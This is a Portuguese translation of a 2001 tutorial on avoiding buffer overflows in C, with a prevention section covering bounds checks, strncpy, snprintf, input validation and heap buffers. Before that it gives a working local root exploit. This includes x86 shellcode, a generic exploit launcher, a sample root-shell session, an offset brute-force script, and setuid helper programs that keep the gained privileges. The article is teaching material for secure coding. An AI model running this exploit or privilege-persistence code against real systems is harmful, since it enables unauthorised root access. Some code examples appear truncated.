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Convert to GutenPalm or to PalmDoc por Frédéric Raynal, Christophe Blaess, Christophe Grenier Sobre o autor: O Christophe Blaess é um engenheiro aeronáutico independente. Ele é um fãn do Linux e faz muito do seu trabalho neste sistema. Coordena a tradução das páginas man publicadas no Projecto de Documentação do Linux. O Christophe Grenier é um estudante no 5º ano na ESIEA, onde, também trabalha como administrador de sistema. Tem uma paixão por segurança de computadores. O Frederic Raynal tem utilizado o Linux desde há alguns anos porque não polui, não usa hormonas, não usa MSG ou farinha animal ... reclama somente o suor e a astúcia. Conteúdo: "Buffer overflows" Posição na memória Lançando o Programa Problemas da(s) Shell(s) Prevenção Verificando os índices Usando as Funções n Validando os dados em dois passos Utilizando buffers dinâmicos Conclusão Links Forma de respostas para este artigo

Evitando Falhas de Segurança ao desenvolver uma aplicação - Parte 3: "buffer overflow"

Abstrato:

Neste artigo introduzimos um "buffer overflow" numa aplicação real. Mostrar-lhe-emos uma falha de segurança de fácil exploração e o modo como evitá-la. Este artigo parte do pressuposto que já leu os 2 artigos anteriores:

• Evitando falhas de segurança ao desenvolver uma aplicação - Parte 1
• Evitando falhas de segurança ao desenvolver uma aplicação - Parte 2: memória, pilha e funções , código da shell

"Buffer overflows"

No nosso artigo anterior escrevemos um programa pequeno com cerca de 50 bytes e fomos capazes de iniciar a linha de comandos ou sair no caso de erro. Agora devemos inserir este código na aplicação que queremos atacar. Isto é feito através da substituição do endereço de retorno de uma função pelo endereço do código da nossa linha de comandos. Consegue fazer isto forçando os limites de uma variável automática alocada na pilha do processo.

Por exemplo, no programa seguinte copiámos a string dada no primeiro argumento da linha de comandos para um buffer de 500 bytes. Esta cópia é feita sem se verificar se é excedido o tamanho do buffer. Como veremos mais tarde o uso da função strncpy() permite-nos evitar este problema.

  /* vulnerable.c */

  #include <string.h>

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }

buffer é uma variável automática, o espaço utilizado pelos 500 bytes é reservado logo que se entra na função main(). Ao Correr o programa vulnerable com um argumento superior a 500 caracteres, os dados excedem a capacidade do buffer e "invade" a pilha do processo. Como vimos anteriormente a pilha guarda o endereço da próxima instrução a ser executada (também conhecida como endereço de retorno). Para explorar este buraco de segurança basta substituir o endereço de retorno da função pelo endereço do código da shell a ser executado. Este código da shell é inserido no corpo do buffer seguido de um endereço de memória.

Posição na memória

Obter o endereço de memória do código da shell é uma operação delicada. Devemos descobrir a "diferença" entre o registo %esp, que aponta para o topo da pilha e o endereço do código da shell. Para beneficiar de uma margem de segurança, o princípio do buffer é preenchido com a instrução assembler NOP; é uma instrução de 1 byte neutra, sem qualquer efeito. Então quando o endereço de início aponta para o endereço antes do verdadeiro código da shell, o CPU vai de NOP em NOP até alcançar o início do nosso código. Para optimizar o nosso desafio pomos o código da shell no meio do buffer, seguido do endereço de início repetidamente até ao fim, e precedido de um bloco NOP. O diagrama 1 ilustra isto:

Diag. 1 : buffer preenchido de um modo especial para a sua exploração.

O Diagrama 2 descreve o estado da pilha antes e depois do overflow. Causando a substituição da informação salvaguardada (salvo %ebp, salvo %eip, argumentos,...) pelo nosso endereço de retorno esperado: O endereço de início de uma parte do buffer onde se mete o nosso código da shell.

Diag. 2 : estado da pilha antes e depois do overflow

Antes	Depois

Contudo existe um outro problema relacionado com o alinhamento das variáveis na pilha. Um endereço é superior a 1 byte e por isso guardado em vários bytes, o que leva a que o alinhamento na pilha não se "encaixe" exactamente. Processos de resolução de problemas (Trial and error) encontram o alinhamento correcto. Como o nosso CPU utiliza palavras de 4 bytes o alinhamento é 0, 1, 2 ou 3 bytes (verifique Parte 2 do artigo 183 acerca da organização da pilha). No diagrama 3, as partes a cinzento correspondem aos 4 bytes escritos. No primeiro caso onde o endereço de retorno é completamente substituído pelo alinhamento correcto é o único que funcionará. Os outros levam-nos a erros do tipo segmentation violation ou illegal instruction Este meio de procura empírico trabalha bem visto que os computadores dos nossos dias permitem-nos tal tipo de teste.

Diag. 3 : alinhamento possível para as palavras de 4 bytes

Lançando o Programa

Vamos agora escrever um programa pequeno para lançar uma aplicação vulnerável escrevendo dados que excedem a pilha. Este programa dispõe de várias opções para posicionar o código da shell na memória, escolha então um programa a correr. Esta versão inspirada no artigo de Aleph One da edição 49 da revista phrack, está disponível no site de Christophe Grenier.

Como é que enviamos o nosso buffer preparado para a aplicação de destino ? Normalmente, podemos utilizar um parâmetro da linha de comandos como o vulnerable.c ou uma variável de ambiente. O overflow pode ser causado a partir de linhas digitadas pelo utilizador (algo mais difícil) ou lidas a partir de um ficheiro.

O programa generic_exploit.c começa por alocar o tamanho correcto do buffer, de seguida copia o código da shell e preenche-o com os endereços e os códigos NOP, como explicado anteriormente. Depois prepara um array de argumentos e corre a aplicação de destino utilizando a instrução execve(), esta última substituição substituí o processo corrente pelo invocado. O programa generic_exploit precisa de saber o tamanho do buffer para explorar ( um pouco maior que o seu tamanho para ser capaz de escrever o endereço de retorno), o tamanho da memória e o alinhamento. Indicamos se o buffer é passado a partir da linha de comandos (novar) ou se é uma variável de ambiente (var) O argumento force/noforce determina se a chamada corre a função setuid()/setgid() a partir do código da shell.

/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE     1
#define A_OFFSET    2
#define A_ALIGN     3
#define A_VAR       4
#define A_FORCE     5
#define A_PROG2RUN  6
#define A_TARGET    7
#define A_ARG       8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar)
             (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;          /* movb $0x17,%al   */
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;          /* movb $0x2e,%al   */
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

Para beneficiar do vulnerable.c, devemos ter um buffer maior que o esperado pela aplicação. Por exemplo seleccionamos 600 bytes em vez dos 500 esperados. Descobrimos o endereço relativo ao topo da pilha através de testes sucessivos. O endereço é construído com a instrução addr = get_sp() + offset; e a substituição do endereço de retorno é obtido com ... um pouco de sorte ! A operação efectuada assenta na heurística de que o registo %esp não é muito alterado no decorrer do processo corrente e no processo chamado no fim do programa. Praticamente, nada é certo : vários eventos podem modificar o estado da pilha desde o tempo de computação ao tempo da chamada da exploração. Aqui nós conseguimos activar o "overflow explorável" com um offset de -1900 bytes. E claro que para completar a experiência, o código de destino vulnerable deve ser o Set-UID root.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit

Para encontrar automaticamente os valores do "offset" para o overflow pode - se utilizar a seguinte pequena shell script:

 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done

Problemas da(s) Shell(s)

Infelizmente, por vezes a shell obtida torna-se inútil visto que termina por si mesma ou quando se prime uma tecla. Usamos um outro programa para manter os privilégios que com tanto cuidado adquirimos:

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

Visto que o nosso explorador só é capaz de fazer uma tarefa de cada vez, vamos transferir os direitos ganhos com o programa run_shell, com a ajuda do programa set_run_shell. Conquistando a shell desejada.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}

Prevenção

Como temos um programa Set-UID com um bug de buffer overflow e o seu código fonte, somos capazes de preparar um ataque que permite a execução do código arbitrariamente sem importar o ID ou dono do ficheiro. Contudo o nosso objectivo é evitar as falhas de segurança. Vamos agora examinar algumas regras que previnem o buffer overflow.

Verificando os índices

A primeira regra a seguir é uma questão de bom senso : os índices usados para manipular um vector devem ser verificados cuidadosamente. Um ciclo malícioso é algo do tipo :

  for (i = 0; i <= n; i ++) {
    table [i] = ...

O mesmo tipo de problema encontra-se também nas strings : deve sempre lembrar-se de adicionar um byte a mais para o caracter null de fim da string. Um dos erros mais comuns dos novatos consiste no esquecimento do caracter de fim das strings. O pior é que é difícil de diagnosticar visto que o alinhamento imprevisível das variáveis podem esconder o problema (mesmo compilando com informação de debug).

Não subestime a regra dos índices relativamente à segurança de aplicação. Vimos (verifique a edição 55 da Phrack) que um só byte de overflow é suficiente para provocar uma falha de segurança, inserindo o código da shell dentro de uma variável de ambiente, por exemplo.

  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* end of string */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i<BUFFER_SIZE; i++)
      buffer[i] = ...
  }

Usando as Funções n

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }

Contudo, tem de ter cuidado com a limitação da strncpy(3) visto que tem efeitos indesejáveis : quando a string original é mais pequena que a de destino, a cópia é completada com os caracteres null, até se atingir o limite n, deformando a performance da aplicação. Por outro lado, se a string de origem é maior, a cópia será truncada e não terminará com o caracter null. Têm de adicionar manualmente. Tendo isto em conta, a rotina anterior ficaria :

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT+1];
    strncpy (identity, name, LG_IDENT);
    identity [LG_IDENT] = '\0';
    ...
  }

Como o strcpy(), o strcat(3) não verificam o tamanho do buffer. A função strncat(3) adiciona um caracter ao fim da string se encontra espaço para tal. Substituindo strcat(buffer1, buffer2); por strncat(buffer1, buffer2, sizeof(buffer1)-1); eliminamos o risco.

O função sprintf() permite-nos copiar os dados formatados para uma string. Têm também uma versão que verifica o número de bytes a copiar: snprintf(). Esta função retorna o número de caracteres escritos na string de destino (sem ter em conta o '\0'). Testando os valores retornados é possível saber se a escrita foi ou não bem feita :

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* Overflow */
    ...
  }

Obviamente, que estas precauções de nada acrescentam se o utilizador controlar correctamente o número de bytes a copiar. Uma falha de segurança no BIND (Berkeley Internet Name Daemon) foi a origem de muitas piratarias :

  struct hosten *hp;
  unsigned long address;

  ...

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

  struct hosten *hp;
  unsigned long address;

  ...

  /* test */
  if (hp->h_length > sizeof(address))
    return 0;

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

Validando os dados em dois passos

Primeiro de tudo, estão implicadas as rotinas de entrada dos dados. Indo ao encontro do que foi dito, não deixamos de insistir que nunca utilize a função gets(char *array) visto que o tamanho não é verificado (nota dos autores : esta rotina devia ser proibida pelo compilador para novos compiladores). Existem ainda mais riscos dissimulados na função scanf(). A linha

scanf ("%s", string)

  char buffer[256];
  scanf("%255s", buffer);

Usando o C++, a stream cin substitui todas as funções clássicas utilizadas no C (ainda que as use). O programa seguinte preenche um buffer :

  char buffer[500];
  cin>>buffer;

A leitura dos dados requer dois passos. A primeira fase consiste em obter a string com fgets(char *array, int size, FILE stream), que limita a área da memória utilizada. A seguir os dados lidos são formatados através da função sscanf() por exemplo. A primeira fase pode fazer mais, fgets(char *array, int size, FILE stream) como inserindo num ciclo automático a alocação da memória requerida, sem limites arbitrários. A extensão Gnu getline() pode fazer isto por si. É possível incluir a validação dos caracteres digitados, usando isalnum(), isprint(), etc. A função strspn() permite um filtro eficaz. O programa fica um pouco mais lento, mas as partes mais sensíveis do programa ficam protegidas por um casaco à prova de balas de dados ilegais .

A entrada directa dos dados não é o único ponto de entrada susceptível de ataques. Os ficheiros de dados manipulados pelo software, também são vulneráveis, contudo o código escrito para a sua leitura está mais bem protegido do que as entradas da consola visto que os programadores não confiam no conteúdo dos ficheiros fornecidos pelo utilizador.

Existe ainda um outro ponto fraco frequentemente explorado nos ataques de buffer overflow : as variáveis de ambiente. Não nos devemos esquecer que um programador pode configurar o ambiente do processo antes de o executar. A convenção diz que uma variável de ambiente deve ser do tipo "NAME=VALUE" podendo ser explorada por um utilizador mal intencionado. A utilização da rotina getenv() requer alguma precaução, especialmente quando é sobre o tamanho da string retornada (arbitrariamente longo) e o seu conteúdo (onde pode encontrar algum caracter do tipo, `=' incluído). A variável retornada por getenv() será tratado como se fosse fornecida por fgets(char *array, int size, FILE stream), tendo em conta o seu tamanho e validada caracter a caracter.

A utilização destes filtros deve ser como o acesso a um computador : por defeito TUDO deve ser proibido ! A seguir é que se dá acesso a algumas coisas :

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Getting the data */
    data = getenv(var);

    /* Filtering
       Rem : obviously the replacement character must be
             in the list of the allowed ones !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }

A função strspn() torna-o mais fácil : procura o primeiro caracter que não faz parte dos bons caracteres. Retorna o tamanho da string (a começar em 0) contendo somente caracteres válidos. Nunca deve aplicar a lógica inversa. Não valide contra os caracteres que não deseja, mas sim contra os "bons" caracteres.

Utilizando buffers dinâmicos

O Buffer overflow assenta na substituição do conteúdo de uma variável na pilha e alterando o endereço de retorno de uma variável. O ataque envolve variáveis automáticas, que são somente alocadas na pilha. Um modo de contornar o problema é a substituição das tabelas de caracteres alocados na pilha por variáveis dinâmicas que se encontram na fila (heap). Aplicando isto, fazemos a substituição da sequência

  #define LG_STRING    128
  int fonction (...)
  {
    char array [LG_STRING];
    ...
    return (result);
  }

  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }

Por último, digamos que é possível sobre algumas circunstâncias obter rapidamente algumas falhas de segurança adicionando a palavra static à declaração do buffer O compilador aloca esta variável no segmento de dados e não na pilha do processo. Torna-se impossível de obter a shell, mas não nos resolve o problema de um ataque DoS (Negação de Serviço). Claro que isto não trabalhará se a rotina for chamada recursivamente. A cura tem de ser considerada como um analgésico, utilizado somente para eliminar uma falha de segurança numa emergência sem alterar muito código.

Conclusão

Links

• Página de Christophe Blaess : perso.club-internet.fr/ccb/
• Página de Christophe Grenier : www.esiea.fr/public_html/Christophe.GRENIER/
• Página de Frédéric Raynal : www-rocq.inria.fr/~raynal/
• Phrack Magazine : phrack.infonexus.com/.
• Heap overflow : www.w00w00.org/files/articles/heaptut.txt

Forma de respostas para este artigo

2001-08-02, generated by lfparser version 2.17